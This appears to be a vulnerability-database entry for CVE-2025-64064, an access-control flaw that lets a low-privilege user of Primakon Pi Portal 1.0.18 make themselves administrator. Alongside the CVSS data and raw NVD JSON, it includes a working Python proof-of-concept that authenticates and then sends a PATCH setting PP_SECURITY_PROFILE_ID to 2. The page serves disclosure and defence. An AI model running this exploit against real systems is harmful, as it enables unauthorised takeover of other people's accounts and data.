Security Vulnerability Report
中文
CVE-2025-64064 CVSS 8.8 HIGH

CVE-2025-64064

Published: 2025-11-25 19:15:51
Last Modified: 2025-12-01 14:22:21

Description

Primakon Pi Portal 1.0.18 /api/v2/pp_users endpoint fails to adequately check user permissions before processing a PATCH request to modify the PP_SECURITY_PROFILE_ID. Because of weak access controls any low level user can use this API and change their permission to Administrator by using PP_SECURITY_PROFILE_ID=2 inside body of request and escalate privileges.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:primakon:project_contract_management:1.0.18:*:*:*:*:*:*:* - VULNERABLE
Primakon Pi Portal 1.0.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-64064 PoC - Primakon Pi Portal Privilege Escalation # Target: Primakon Pi Portal 1.0.18 # Endpoint: /api/v2/pp_users # Vulnerability: Insufficient permission check allows low-privilege users to escalate to admin TARGET_URL = "http://target-server.com/api/v2/pp_users" USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit_privilege_escalation(): """ This PoC demonstrates how a low-privilege user can escalate privileges to administrator by modifying PP_SECURITY_PROFILE_ID to 2. """ # Step 1: Authenticate with low-privilege account login_url = f"{TARGET_URL.rsplit('/api', 1)[0]}/api/v2/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } session = requests.Session() login_response = session.post(login_url, json=login_data) if login_response.status_code != 200: print(f"[-] Login failed: {login_response.status_code}") return False print("[+] Successfully authenticated with low-privilege account") # Step 2: Exploit the privilege escalation vulnerability exploit_data = { "PP_SECURITY_PROFILE_ID": 2 # 2 = Administrator privilege } exploit_response = session.patch(TARGET_URL, json=exploit_data) if exploit_response.status_code == 200: print("[+] Privilege escalation successful!") print("[+] Current user is now Administrator") print(f"[*] Response: {exploit_response.text}") return True else: print(f"[-] Exploit failed: {exploit_response.status_code}") return False if __name__ == "__main__": exploit_privilege_escalation()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64064", "sourceIdentifier": "[email protected]", "published": "2025-11-25T19:15:50.500", "lastModified": "2025-12-01T14:22:20.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Primakon Pi Portal 1.0.18 /api/v2/pp_users endpoint fails to adequately check user permissions before processing a PATCH request to modify the PP_SECURITY_PROFILE_ID. Because of weak access controls any low level user can use this API and change their permission to Administrator by using PP_SECURITY_PROFILE_ID=2 inside body of request and escalate privileges."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:primakon:project_contract_management:1.0.18:*:*:*:*:*:*:*", "matchCriteriaId": "48EDD273-2C46-43C9-9473-27D2C14040CB"}]}]}], "references": [{"url": "https://github.com/n3k7ar91/Vulnerabilites/blob/main/Primakon/CVE-2025-64064.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.primakon.com/rjesenja/primakon-pcm/", "source": "[email protected]", "tags": ["Product"]}]}}